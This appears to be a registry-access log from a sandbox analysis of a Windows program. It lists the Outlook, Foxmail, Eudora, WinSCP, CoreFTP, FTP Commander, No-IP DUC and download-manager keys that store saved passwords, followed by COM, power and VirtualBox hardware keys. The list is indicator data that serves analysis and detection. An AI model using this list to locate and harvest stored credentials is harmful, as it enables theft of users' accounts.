HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\Email
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\IMAP Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\POP3 Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\HTTP Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\SMTP Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\Email
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\IMAP Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\POP3 Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\HTTP Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\SMTP Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\Email
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\IMAP Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\POP3 Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\HTTP Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\SMTP Password
HKEY_CURRENT_USER\Software\Aerofox\FoxmailPreview
HKEY_CURRENT_USER\Software\Aerofox\Foxmail\V3.1
HKEY_CURRENT_USER\Software\Qualcomm\Eudora\CommandLine
HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions
HKEY_CLASSES_ROOT\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\InProcServer32\Class
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0\410
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0\10
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0\0
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0\0\win32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0\0\win32\(Default)
HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites
HKEY_CURRENT_USER\Software\Paltalk
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FTP Commander
HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC
HKEY_CURRENT_USER\SOFTWARE\Vitalwerks\DUC
HKEY_CURRENT_USER\Software\DownloadManager\Passwords
HKEY_CLASSES_ROOT\CLSID\{FAE3D380-FEA4-4623-8C75-C6B61110B681}\Instance
HKEY_CLASSES_ROOT\CLSID\{FAE3D380-FEA4-4623-8C75-C6B61110B681}\Instance\Disabled
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.resources_it-IT_b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\433351e7\2db83a0b
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.resources_it_b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\433351e7\26b4a30
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerRequestOverride
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\PowerRequestOverride
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Power\PowerRequestOverride\Driver
HKEY_USERS\S-1-5-20_Classes
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\TreatAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LocalServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LocalServer32\LocalServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LocalServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LocalServer32\ServerExecutable
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\AppID
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LocalService
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\DllSurrogate
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\RunAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\ActivateAtStorage
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\ROTFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\AppIDFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LaunchPermission
HKEY_LOCAL_MACHINE\Software\Microsoft\OLE
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\LegacyAuthenticationLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\LegacyImpersonationLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\AuthenticationLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\RemoteServerName
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\SRPTrustLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\PreferredServerBitness
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LoadUserSettings
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\Elevation
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\LocalService
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\ServiceParameters
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\RunAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\ActivateAtStorage
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\ROTFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\AppIDFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\LaunchPermission
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\AuthenticationLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\RemoteServerName
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\SRPTrustLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\PreferredServerBitness
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\LoadUserSettings
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCI\VEN_80EE&DEV_CAFE&SUBSYS_00000000&REV_00\3&267A616A&0&20
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCI\VEN_80EE&DEV_CAFE&SUBSYS_00000000&REV_00\3&267A616A&0&20\Class
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\IDE\CDROMVBOX_CD-ROM_____________________________1.0_____\5&106AF171&0&1.0.0
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\IDE\CDROMVBOX_CD-ROM_____________________________1.0_____\5&106AF171&0&1.0.0\HardwareID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCI\VEN_8086&DEV_7111&SUBSYS_00000000&REV_01\3&267A616A&0&09
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCI\VEN_8086&DEV_7111&SUBSYS_00000000&REV_01\3&267A616A&0&09\HardwareID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCIIDE\IDECHANNEL\4&2617AEAE&0&0
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCIIDE\IDECHANNEL\4&2617AEAE&0&0\HardwareID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCIIDE\IDECHANNEL\4&2F42C713&0&0
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCIIDE\IDECHANNEL\4&2F42C713&0&0\HardwareID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCIIDE\IDECHANNEL\4&2F42C713&0&1
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCIIDE\IDECHANNEL\4&2F42C713&0&1\HardwareID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCI\VEN_8086&DEV_2829&SUBSYS_00000000&REV_02\3&267A616A&0&68
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCI\VEN_8086&DEV_2829&SUBSYS_00000000&REV_02\3&267A616A&0&68\HardwareID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCI\VEN_80EE&DEV_BEEF&SUBSYS_00000000&REV_00\3&267A616A&0&10
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCI\VEN_80EE&DEV_BEEF&SUBSYS_00000000&REV_00\3&267A616A&0&10\HardwareID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994ad04-93ef-11d0-a3cc-00a0c9223196}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eCDInTopo
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\Properties
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eCDInWave
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eHeadphoneTopo
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eHeadphoneWave
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eMicInTopo
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eMicInWave
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eSpeakerTopo
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eSpeakerWave
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\ClassGUID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\HardwareID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#PCI#VEN_8086&DEV_100E&SUBSYS_001E8086&REV_02#3&267a616a&0&18#{ad498944-762f-11d0-8dcb-00c04fc3358c}\#{C2D43895-0262-4873-A789-C2F96D24B693}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#PCI#VEN_8086&DEV_100E&SUBSYS_001E8086&REV_02#3&267a616a&0&18#{ad498944-762f-11d0-8dcb-00c04fc3358c}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#PCI#VEN_8086&DEV_100E&SUBSYS_001E8086&REV_02#3&267a616a&0&18#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\Properties
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#*ISATAP#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\#{684BB8B6-2793-49A5-8012-E0A941B4B4DF}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#*ISATAP#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#ROOT#*ISATAP#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#*ISATAP#0001#{ad498944-762f-11d0-8dcb-00c04fc3358c}\#{5F6D61D9-D207-449A-BD48-652A5D1F25BE}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#*ISATAP#0001#{ad498944-762f-11d0-8dcb-00c04fc3358c}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#ROOT#*ISATAP#0001#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#MS_AGILEVPNMINIPORT#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\#{29898C9D-B0A4-4FEF-BDB6-57A562022CEE}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#MS_AGILEVPNMINIPORT#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#ROOT#MS_AGILEVPNMINIPORT#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#MS_L2TPMINIPORT#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\#{E43D242B-9EAB-4626-A952-46649FBB939A}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#MS_L2TPMINIPORT#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#ROOT#MS_L2TPMINIPORT#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#MS_NDISWANBH#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\#NDISWANBH
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#MS_NDISWANBH#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#ROOT#MS_NDISWANBH#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#MS_NDISWANIP#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\#NDISWANIP
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#MS_NDISWANIP#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#ROOT#MS_NDISWANIP#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#MS_NDISWANIPV6#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\#NDISWANIPV6
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#MS_NDISWANIPV6#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#ROOT#MS_NDISWANIPV6#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#MS_PPPOEMINIPORT#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\#{8E301A52-AFFA-4F49-B9CA-C79096A1A056}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#MS_PPPOEMINIPORT#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#ROOT#MS_PPPOEMINIPORT#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#MS_PPTPMINIPORT#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\#{DF4A9D2C-8742-4EB1-8703-D395C4183F33}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#MS_PPTPMINIPORT#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#ROOT#MS_PPTPMINIPORT#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#MS_SSTPMINIPORT#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\#{71F897D7-EB7C-4D8D-89DB-AC80D9DD2270}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#MS_SSTPMINIPORT#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#ROOT#MS_SSTPMINIPORT#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#SYSTEM#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\#{eeab7790-c514-11d1-b42b-00805fc1270e}&asyncmac
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#SYSTEM#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#SYSTEM#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#SW#{eeab7790-c514-11d1-b42b-00805fc1270e}#asyncmac#{ad498944-762f-11d0-8dcb-00c04fc3358c}\#{78032B7E-4968-42D3-9F37-287EA86C0AAA}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#SW#{eeab7790-c514-11d1-b42b-00805fc1270e}#asyncmac#{ad498944-762f-11d0-8dcb-00c04fc3358c}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#SW#{eeab7790-c514-11d1-b42b-00805fc1270e}#asyncmac#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
